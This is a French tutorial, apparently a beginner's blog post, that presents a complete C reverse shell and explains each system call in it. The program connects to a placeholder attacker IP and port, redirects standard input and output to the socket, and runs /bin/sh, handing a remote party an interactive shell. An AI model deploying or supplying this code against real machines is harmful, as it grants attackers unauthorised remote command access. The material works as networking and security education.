Reverse Shell en C utilisant socket()

Table des matières :


Version française

Une version anglaise de cet article a été publié sur mon github, ayant été appréçié j’ai décidé de poster la version française ici ٩(^ᗜ^ )و ´-

Reverse Shell en C utilisant socket()

Script

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <unistd.h>

#define IP "your ip"
#define PORT yourport

int main()
{
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(PORT);

    inet_pton(AF_INET, IP, &(server_addr.sin_addr));

    connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

    execve("/bin/sh", 0, 0);

    close(sockfd);

    return 0;
}

Petit disclaimer

Je suis débutante en C, et je partage mon apprentissage.
S’il y a des erreurs soyez indulgent et n’hésitez pas à me corriger pour m’aider à acquérir de nouvelles connaissances.
(projet à titre informatif évidemment)

socket() est un syscall dépendant de la lib <sys/socket.h>, pour comprendre son fonctionnement nous devons comprendre les struct qui le compose.

struct sockaddr_in

struct sockaddr_in server_addr;

Définir la variable server_addr de type struct sockaddr_in sert à représenter l’adresse du serveur.
Un espace en mémoire est créé pour stocker cette structure. Ses champs peuvent ensuite être remplis avec les informations d’adresse spécifiques au serveur:

struct sockaddr_in {
   uint8_t         sin_len;       // longueur totale      
   sa_family_t     sin_family;    // famille : AF_INET    
   in_port_t       sin_port;      // le numéro de port  
   struct in_addr  sin_addr;      // l'adresse internet  
   unsigned char   sin_zero[8];   // un champ de 8 zéros  

Voici toutes les variables définies à l’interieur de la struct sockaddr_in, nous n’utilisons que sin_family, sin_port et sin_addr.
Nous donnons en paramètre AF_INET pour la première variable, de façon à désigner le type d’adresse avec lesquelles le socket communiquera (IPv4). La variable sin_port prend en paramètre le port, qui est lui même passé dans la fonction htons() (host to network short), qui convertit un nombre court d’entier non signé de l’ordre d’octet de l’hôte vers l’ordre d’octet du réseau (big-endian).

inet_pton()

inet_pton(AF_INET, IP, &(server_addr.sin_addr));

inet_pton() est utilisée pour convertir une adresse IPv4 ou IPv6 (de base string) en une représentation binaire utilisée par les sockets. Elle prend en paramètre lAF (Address Family), convertit l'IP actuellement en type string et la stock dans la variable sin_addr_ de la struct server_addr.

connect()

connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr));

connect() établie une connexion entre le socket client (sockfd) et le socket serveur (server_addr).
(struct sockaddr *)&server_addr convertit le pointeur server_addr en un pointeur de type struct sockaddr *, on apprend grâce au prototype de la fonction donné dans son man que cette fonction attend que le deuxième argument soit un pointeur vers struct sockaddr.
sizeof(server_addr), spécifie la taille de la struct server_addr en octets pour permettre à connect() d’avoir connaissance de sa taille effectuer la connexion.

dup2()

    dup2(sockfd, 0);
    dup2(sockfd, 1);
    dup2(sockfd, 2);

dup2() duplique un descripteur de fichier existant vers un autre descripteur de fichier. Elle prend en arguments le descripteur de fichier mère et le descripteur de fichier fille.
stdin (0), stdout (1) et stderr (2) sont redirigés vers le descripteur de fichier de sockfd.
En gros, toutes les entrées récupérées à partir de stdin seront lues à partir du socket, et toutes les sorties écrites vers stdout et stderr seront envoyées au serveur via la connexion réseau.

execve()

execve("/bin/sh", 0, 0);

execve() est un syscall permettant d’exécuter un nouveau programme à partir d’un fichier exécutable spécifié (ici /bin/sh). Depuis son man, on apprend qu'execve prend en deuxième argument un char pointant vers un tableau d’argument, et en troisième un char pointant vers l’environnement dans lequel le programme à exécuter est lancé. N’utilisant pas ces paramètres, nous les définissons à 0.

close()

close(sockfd);

close() ferme un file descriptor. Ici nous l’appelons pour libérer l’espace et stopper la connexion réseau.

Références

https://broux.developpez.com/articles/c/sockets/ https://man.archlinux.org/man/ https://man7.org/linux/man-pages/